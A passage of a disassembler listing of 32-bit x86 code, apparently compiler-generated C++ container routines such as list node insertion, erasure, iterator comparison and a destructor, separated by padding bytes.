loc_421850:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421870:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_421888
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_421888:				; CODE XREF: ___:0042187Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4218A0	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4218A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4218A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
